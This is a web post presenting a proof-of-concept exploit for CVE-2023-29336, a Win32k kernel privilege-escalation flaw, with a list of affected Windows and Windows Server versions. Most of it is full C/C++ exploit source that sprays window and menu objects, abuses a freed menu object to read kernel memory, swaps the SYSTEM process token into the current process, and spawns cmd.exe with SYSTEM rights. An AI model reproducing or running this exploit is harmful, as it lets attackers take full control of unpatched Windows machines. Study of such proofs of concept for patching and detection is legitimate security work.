CVE-2023-29336 Win32k Privilege Elevation Vulnerability PoC

 

 

The Win32k subsystem (Win32k.sys kernel driver) manages the operating system's window manager, screen output, input, and graphics, and serves as the interface between various types of input hardware.

• CVE-2023-29336 There is a privilege escalation vulnerability in the Win32k kernel driver. Since Win32k only focuses on locking the window object, it inadvertently neglects to lock the menu object nested in the window object. This vulnerability can be obtained by changing a specific address in the system memory. Control the menu object to obtain the same level of access as the program that launched it, and use other actions to elevate privileges to SYSTEM.

Sphere of influence 

• Windows Server 2012 R2 (Server Core installation)
• Windows Server 2012 R2
• Windows Server 2012 (Server Core installation)
• Windows Server 2012
• Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
• Windows Server 2008 R2 for x64-based Systems Service Pack 1
• Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)
• Windows Server 2008 for x64-based Systems Service Pack 2
• Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)
• Windows Server 2008 for 32-bit Systems Service Pack 2
• Windows Server 2016 (Server Core installation)
• Windows Server 2016
• Windows 10 Version 1607 for x64-based Systems
• Windows 10 Version 1607 for 32-bit Systems
• Windows 10 for x64-based Systems
• Windows 10 for 32-bit Systems

 code sample

// Rainbow 【www.chwm.vip】

#include <windows.h>
#include <stdio.h>
#include <tchar.h>

#define IDM_MYMENU 101
#define IDM_EXIT 102
#define IDM_DISABLE 0xf120
#define IDM_ENABLE 104
#define EPROCESS_UNIQUE_PROCESS_ID_OFFSET 0x440
#define EPROCESS_ACTIVE_PROCESS_LINKS_OFFSET 0x448
#define EPROCESS_TOKEN_OFFSET 0x4b8

typedef DWORD64(NTAPI* NtUserEnableMenuItem)(HMENU hMenu, UINT uIDEnableItem, UINT uEnable);
typedef DWORD64(NTAPI* NtUserSetClassLongPtr)(HWND a1, unsigned int a2, unsigned __int64 a3, unsigned int a4);
typedef DWORD64(NTAPI* NtUserCreateAcceleratorTable)(void* Src, int a2);
typedef DWORD64(NTAPI* fnNtUserConsoleControl)(int nConsoleCommand, PVOID, int nConsoleInformationLength);

NtUserSetClassLongPtr g_NtUserSetClassLongPtr = NULL;
NtUserEnableMenuItem g_NtUserEnableMenuItem = NULL;
NtUserCreateAcceleratorTable g_NtUserCreateAcceleratorTable = NULL;
fnNtUserConsoleControl g_pfnNtUserConsoleControl = nullptr;
LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam);
int syytem();

typedef struct _SHELLCODE {
    DWORD reserved;
    DWORD pid;
    DWORD off_THREADINFO_ppi;
    DWORD off_EPROCESS_ActiveLink;
    DWORD off_EPROCESS_Token;
    BOOL  bExploited;
    BYTE  pfnWindProc[1];
} SHELLCODE, * PSHELLCODE;

struct tagMENU
{
    ULONG64 field_0;
    ULONG64 field_8;
    ULONG64 field_10;
    ULONG64 field_18;
    ULONG64 field_20;
    PVOID obj28;
    DWORD field_30;
    DWORD flag1;
    DWORD flag2;
    DWORD cxMenu;
    DWORD cyMenu;
    ULONG64 field_48;
    PVOID rgItems;
    ULONG64 field_58; // + 0x58
    ULONG64 field_60;
    ULONG64 field_68;
    ULONG64 field_70;
    ULONG64 field_78;
    ULONG64 field_80;
    ULONG64 field_88;
    ULONG64 field_90;
    PVOID ref; // + 0x98
};

struct MyData
{
    BYTE name[0x96];
};

tagMENU* g_pFakeMenu = 0;
static PSHELLCODE pvShellCode = NULL;
HMENU hSystemMenu;
HMENU hMenu;
HMENU hSubMenu;
HMENU hAddedSubMenu;
HMENU hMenuB;
PVOID MENU_add = 0;
DWORD flag = 0;
UINT iWindowCount = 0x100;
HWND HWND_list[0x300];
HWND HWND_list1[0x20];
HMENU HMENUL_list[0x300];
int Hwnd_num = 0;
int Hwnd_num1 = 0;
ULONGLONG HWND_add = 0;
ULONGLONG GS_off = 0;
WORD max = 0;

static PULONGLONG     ptagWNDFake = NULL;
static PULONGLONG     ptagWNDFake1 = NULL;
static PULONGLONG     ptagWNDFake2 = NULL;
static PULONGLONG     GS_hanlde = NULL;
static PULONGLONG     HWND_class = NULL;

struct ThreadParams {
    int threadId;
    int numLoops;
};

static unsigned long long GetGsValue(unsigned long long gsValue)
{
    return gsValue;
}

PVOID GetMenuHandle(HMENU menu_D)
{
    int conut = 0;
    PVOID HANDLE = 0;
    PBYTE add = 0;
    WORD temp = 0;
    DWORD offset = 0xbd688;
    HMODULE hModule = LoadLibraryA("USER32.DLL");

    PBYTE pfnIsMenu = (PBYTE)GetProcAddress(hModule, "IsMenu");
    ULONGLONG par1 = 0;
    DWORD par2 = 0;
    memcpy((VOID*)&par1, (char*)((ULONGLONG)hModule + offset), 0x08);
    memcpy((VOID*)&par2, (char*)((ULONGLONG)hModule + offset + 0x08), 0x02);

    add = (PBYTE)(par1 + 0x18 * reinterpret_cast<ULONG_PTR>(menu_D));

    if (add)
    {
        HANDLE = *(PVOID*)add;
    }
    else
    {
        HANDLE = 0;
    }
    HANDLE = (PVOID*)((ULONGLONG)HANDLE - GS_off + 0x20);
    return *(PVOID*)HANDLE;
}

PVOID xxGetHMValidateHandle(HMENU menu_D, DWORD type_hanlde)
{
    int conut = 0;
    PVOID HANDLE = 0;
    PBYTE add = 0;
    ULONGLONG temp = 0; // Change the data type to ULONGLONG
    DWORD offset = 0xbd688;
    HMODULE hModule = LoadLibraryA("USER32.DLL");

    PBYTE pfnIsMenu = (PBYTE)GetProcAddress(hModule, "IsMenu");
    ULONGLONG par1 = 0;
    DWORD par2 = 0;
    memcpy((VOID*)&par1, (char*)((ULONGLONG)hModule + offset), 0x08);
    memcpy((VOID*)&par2, (char*)((ULONGLONG)hModule + offset + 0x08), 0x02);

    temp = (ULONGLONG)menu_D >> 16;
    add = (PBYTE)(par1 + 0x18 * static_cast<ULONGLONG>(reinterpret_cast<ULONGLONG>(menu_D) & 0xFFFF));
    if (add)
    {
        HANDLE = *(PVOID*)add;
    }
    else
    {
        HANDLE = 0;
    }
    HANDLE = (PVOID*)((ULONGLONG)HANDLE - GS_off + 0x20);
    return *(PVOID*)HANDLE;
}

static VOID xxReallocPopupMenu(VOID)
{
    for (INT i = 0; i < 0x8; i++)
    {
        WNDCLASSEXW Class = { 0 };
        WCHAR       szTemp[0x100] = { 0 };
        HWND        hwnd = NULL;
        wsprintfW(szTemp, L"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@A%d", i);
        Class.cbSize = sizeof(WNDCLASSEXA);
        Class.lpfnWndProc = DefWindowProcW;
        Class.cbWndExtra = 0;
        Class.hInstance = GetModuleHandleA(NULL);
        Class.lpszMenuName = NULL;
        Class.lpszClassName = szTemp;
        if (!RegisterClassExW(&Class))
        {
            continue;
        }
    }
}

VOID createclass(VOID)
{
    WCHAR   szTemp[0x100] = { 0 };
    for (INT i = 9; i < 29; i++)
    {
        WNDCLASSEXW Class = { 0 };

        HWND        hwnd = NULL;
        wsprintfW(szTemp, L"A@A%d", i);
        Class.cbSize = sizeof(WNDCLASSEXA);
        Class.lpfnWndProc = DefWindowProcW;
        Class.cbWndExtra = 0x20;
        Class.hInstance = GetModuleHandleA(NULL);
        Class.lpszMenuName = NULL;
        Class.lpszClassName = szTemp;
        Class.cbClsExtra = 0x1a0;
        if (!RegisterClassExW(&Class))
        {
            continue;
        }
    }

    for (INT i = 9; i < 29; i++)
    {
        wsprintfW(szTemp, L"A@A%d", i);
        HWND_list1[i] = CreateWindowEx(NULL, szTemp, NULL, WS_VISIBLE, 0, 0, 0, 0, NULL, NULL, NULL, NULL);


    }

}

ULONG64 Read64(ULONG64 address)
{
    MENUBARINFO mbi = { 0 };
    mbi.cbSize = sizeof(MENUBARINFO);

    g_pFakeMenu->rgItems = PVOID(address - 0x48);
    GetMenuBarInfo(HWND_list[max + 1], OBJID_MENU, 1, &mbi);

    return (unsigned int)mbi.rcBar.left + ((ULONGLONG)mbi.rcBar.top << 32);
}

void exploit()
{
    ULONG64 randomVariable1 = 0;
    HWND_class = (PULONGLONG)((PBYTE)0x303000);
    HWND_class[12] = 0x100;
    HWND_class[20] = 0x303010;

    for (int loopIndex = 0; loopIndex < 0x20; loopIndex++)
    {
        ULONG64 pmenu = SetClassLongPtr(HWND_list1[loopIndex], 0x270, (LONG_PTR)g_pFakeMenu);
        if (pmenu != 0)
        {
            randomVariable1 = loopIndex;
            MENUBARINFO mbi = { 0 };
            mbi.cbSize = sizeof(MENUBARINFO);
        }
    }

    ULONG64 randomVariable2 = Read64(HWND_add + 0x250 + 0x10); // USER_THREADINFO
    randomVariable2 = Read64(randomVariable2);            // THREADINFO
    randomVariable2 = Read64(randomVariable2 + 0x220);         // (PROCESSINFO)

    ULONG64 eprocess = randomVariable2;
    printf("Current EPROCESS = %llx\n", eprocess);
    randomVariable2 = Read64(randomVariable2 + 0x2f0);

    do
    {
        randomVariable2 = Read64(randomVariable2 + 0x08);
        ULONG64 randomVariable3 = Read64(randomVariable2 - 0x08);
        if (randomVariable3 == 4)
        {
            ULONG64 pSystemToken = Read64(randomVariable2 + 0x68);
            printf("pSys/tem Token = %llx \n", pSystemToken);

            HWND_class[8] = eprocess + 0x290;

            ULONG64 randomVariable4 = SetClassLongPtr(HWND_list1[randomVariable1], 0x250 + 0x98 - 0xa0, (LONG_PTR)HWND_class);
            SetClassLongPtr(HWND_list[max + 1], 0x28, pSystemToken);
            randomVariable4 = SetClassLongPtr(HWND_list1[randomVariable1], 0x250 + 0x98 - 0xa0, (LONG_PTR)randomVariable4);

            break;
        }
    } while (randomVariable2 != eprocess);

    // Invoke the madness
    syytem();
}

void buildmem()
{
    WORD max_handle = 0;
    pvShellCode = (PSHELLCODE)VirtualAlloc((PVOID)0x300000, 0x10000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (pvShellCode == NULL)
    {
        return;
    }
    ZeroMemory(pvShellCode, 0x10000);

    ptagWNDFake = (PULONGLONG)((PBYTE)0x304140);
    ptagWNDFake[0] = (ULONGLONG)0x304140;
    ptagWNDFake[2] = (ULONGLONG)0x304140 + 0x10;
    ptagWNDFake[6] = (ULONGLONG)0x304140;
    ptagWNDFake[8] = 0x305300;
    ptagWNDFake[11] = (ULONGLONG)MENU_add;
    ptagWNDFake[68] = (ULONGLONG)0x304140 + 0x230;
    ptagWNDFake[69] = (ULONGLONG)0x304140 + 0x28;
    ptagWNDFake[70] = (ULONGLONG)0x304140 + 0x30;
    ptagWNDFake[71] = (ULONGLONG)0x000004;

    ptagWNDFake1 = (PULONGLONG)((PBYTE)0x305300);
    ptagWNDFake1[1] = (ULONGLONG)0x11;
    ptagWNDFake1[2] = (ULONGLONG)0x305320;
    ptagWNDFake1[6] = (ULONGLONG)0x1000000000020000;
    ptagWNDFake1[8] = (ULONGLONG)0x00000000029d0000;
    ptagWNDFake1[11] = (ULONGLONG)HWND_add + 0x63 - 0x120;
    ptagWNDFake1[14] = (ULONGLONG)0x306500;
    ptagWNDFake1[16] = (ULONGLONG)305400;

    ptagWNDFake2 = (PULONGLONG)((PBYTE)0x306500);
    ptagWNDFake1[11] = (ULONGLONG)0x306600;

    WNDCLASSEX WndClass = { 0 };
    WndClass.cbSize = sizeof(WNDCLASSEX);
    WndClass.lpfnWndProc = DefWindowProc;
    WndClass.style = CS_VREDRAW | CS_HREDRAW;
    WndClass.cbWndExtra = 0xe0;
    WndClass.hInstance = NULL;
    WndClass.lpszMenuName = NULL;
    WndClass.lpszClassName = L"NormalClass";

    RegisterClassEx(&WndClass);

    for (int i = 0; i < 0x200; i++)
    {
        HMENUL_list[i] = CreateMenu();
    }

    for (int i = 0; i < 0x100; i++)
    {
        HWND_list[i] = CreateWindowEx(NULL, L"NormalClass", NULL, WS_VISIBLE, 0, 0, 0, 0, NULL, HMENUL_list[i], NULL, NULL);

    }
    for (int i = 0; i < 0x100; i++)
    {
        SetWindowLongPtr(HWND_list[i], 0x58, (LONG_PTR)0x0002080000000000);
        SetWindowLongPtr(HWND_list[i], 0x80, (LONG_PTR)0x0000303030000000);
    }

    for (int i = 0x20; i < 0x60; i++)
    {
        if ((ULONGLONG)xxGetHMValidateHandle((HMENU)HWND_list[i * 2], 0x01) - (ULONGLONG)xxGetHMValidateHandle((HMENU)HWND_list[i * 2 - 1], 0x01) == 0x250)
        {
            if ((ULONGLONG)xxGetHMValidateHandle((HMENU)HWND_list[i * 2 + 1], 0x01) - (ULONGLONG)xxGetHMValidateHandle((HMENU)HWND_list[i * 2], 0x01) == 0x250)
            {
                HWND_add = (ULONGLONG)xxGetHMValidateHandle((HMENU)HWND_list[i * 2], 0x01);
                max = i * 2;
                break;
            }
        }

        if (i == 0x5f)
        {
            HWND_add = 0;
        }
    }

    ptagWNDFake1[11] = (ULONGLONG)HWND_add + 0x63 - 0x120;

    DestroyWindow(HWND_list[max]);

    createclass();

    // Create a fake spmenu
    PVOID hHeap = (PVOID)0x302000;

    g_pFakeMenu = (tagMENU*)(PVOID)0x302000;
    g_pFakeMenu->ref = (PVOID)0x302300;
    *(PULONG64)g_pFakeMenu->ref = (ULONG64)g_pFakeMenu;
    // cItems = 1
    g_pFakeMenu->obj28 = (PVOID)0x302200;
    *(PULONG64)((PBYTE)g_pFakeMenu->obj28 + 0x2C) = 1;
    // rgItems
    g_pFakeMenu->rgItems = (PVOID)0x304000;
    // cx / cy must > 0
    g_pFakeMenu->flag1 = 1;
    g_pFakeMenu->flag2 = 1;
    g_pFakeMenu->cxMenu = 1;
    g_pFakeMenu->cyMenu = 1;
}

int main(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
    ULONGLONG gsValue = 0;
    unsigned char shellcode[] = "\x65\x48\x8B\x04\x25\x30\x00\x00\x00\x90\x90\x90\x90\x90\x90\x90\x90\x90\xc3";

    LPVOID executableMemory = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (executableMemory == NULL) {
        return 1;
    }
    memcpy(executableMemory, shellcode, sizeof(shellcode));

    gsValue = ((ULONGLONG(*)())executableMemory)();
    gsValue = gsValue + 0x800;
    GS_hanlde = (PULONGLONG)(PBYTE)gsValue;
    GS_off = GS_hanlde[5];

    char str[0xb8] = "";
    memset(str, 0x41, 0xa8);
    g_NtUserEnableMenuItem = (NtUserEnableMenuItem)GetProcAddress(GetModuleHandleA("win32u.dll"), "NtUserEnableMenuItem");
    g_NtUserSetClassLongPtr = (NtUserSetClassLongPtr)GetProcAddress(GetModuleHandleA("win32u.dll"), "NtUserSetClassLongPtr");
    g_NtUserCreateAcceleratorTable = (NtUserCreateAcceleratorTable)GetProcAddress(GetModuleHandleA("win32u.dll"), "NtUserCreateAcceleratorTable");
    g_pfnNtUserConsoleControl = (fnNtUserConsoleControl)GetProcAddress(GetModuleHandleA("win32u.dll"), "NtUserConsoleControl");

    WNDCLASS wc = { 0 };

    wc.lpfnWndProc = WndProc;
    wc.hInstance = hInstance;
    wc.lpszClassName = TEXT("EnableMenuItem");

    RegisterClass(&wc);

    HWND hWnd = CreateWindow(
        wc.lpszClassName,
        TEXT("EnableMenuItem"),
        WS_OVERLAPPEDWINDOW,
        CW_USEDEFAULT,
        CW_USEDEFAULT,
        400, 300,
        NULL,
        NULL,
        hInstance,
        NULL
    );

    if (!hWnd) return FALSE;

    hSystemMenu = GetSystemMenu(hWnd, FALSE);

    hSubMenu = CreatePopupMenu();
    MENU_add = GetMenuHandle(hSubMenu);
    hMenuB = CreateMenu();

    buildmem();
    if (HWND_add == 0)
    {
        return 0;
    }

    AppendMenu(hSubMenu, MF_STRING, 0x2061, TEXT("0"));
    AppendMenu(hSubMenu, MF_STRING, 0xf060, TEXT("1"));

    DeleteMenu(hSystemMenu, SC_CLOSE, MF_BYCOMMAND);

    AppendMenu(hMenuB, MF_POPUP, (UINT_PTR)hSubMenu, L"Menu A");

    AppendMenu(hSystemMenu, MF_POPUP, (UINT_PTR)hMenuB, L"Menu B");

    ShowWindow(hWnd, nCmdShow);
    UpdateWindow(hWnd);

    flag = 1;
    g_NtUserEnableMenuItem(hSystemMenu, 0xf060, 0x01);

    exploit();

    MSG msg = { 0 };

    while (GetMessage(&msg, NULL, 0, 0))
    {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }
    return (int)msg.wParam;
}

LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
{
    switch (message)
    {
    case WM_DESTROY:
        PostQuitMessage(0);
        return 0;
    case 0xae:
        switch (wParam)
        {
        case 0x1000:
            if (flag)
            {
                int itemCount = GetMenuItemCount(hMenuB);

                for (int i = itemCount - 1; i >= 0; i--) {
                    RemoveMenu(hMenuB, i, MF_BYPOSITION);
                }
                DestroyMenu(hSubMenu);
                xxReallocPopupMenu();
            }
        case 0x1001:
            if (flag)
            {
                int itemCount = GetMenuItemCount(hMenuB);

                for (int i = itemCount - 1; i >= 0; i--) {
                    RemoveMenu(hMenuB, i, MF_BYPOSITION);
                }
                DestroyMenu(hSubMenu);
                xxReallocPopupMenu();
            }

            return 0;
        }
        break;
    }
    return DefWindowProc(hWnd, message, wParam, lParam);
}

int syytem()
{
    SECURITY_ATTRIBUTES     sa;
    HANDLE                  hRead, hWrite;
    byte                    buf[40960] = { 0 };
    STARTUPINFOW            si;
    PROCESS_INFORMATION     pi;
    RtlSecureZeroMemory(&si, sizeof(si));
    RtlSecureZeroMemory(&pi, sizeof(pi));
    RtlSecureZeroMemory(&sa, sizeof(sa));
    int br = 0;
    sa.nLength = sizeof(SECURITY_ATTRIBUTES);
    sa.lpSecurityDescriptor = NULL;
    sa.bInheritHandle = TRUE;
    if (!CreatePipe(&hRead, &hWrite, &sa, 0))
    {
        return -3;
    }
    si.cb = sizeof(STARTUPINFO);
    GetStartupInfoW(&si);
    si.hStdError = hWrite;
    si.hStdOutput = hWrite;
    si.wShowWindow = SW_HIDE;
    si.lpDesktop = const_cast<LPWSTR>(L"WinSta0\\Default");
    si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
    wchar_t cmd[4096] = { L"cmd.exe" };

    if (!CreateProcessW(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi))
    {
        CloseHandle(hWrite);
        CloseHandle(hRead);
        printf("[!] CreateProcessW Failed![%lx]\n", GetLastError());
        return -2;
    }
    CloseHandle(hWrite);

    printf("[+] website:www.chwm.vip\n");

    return 0;
}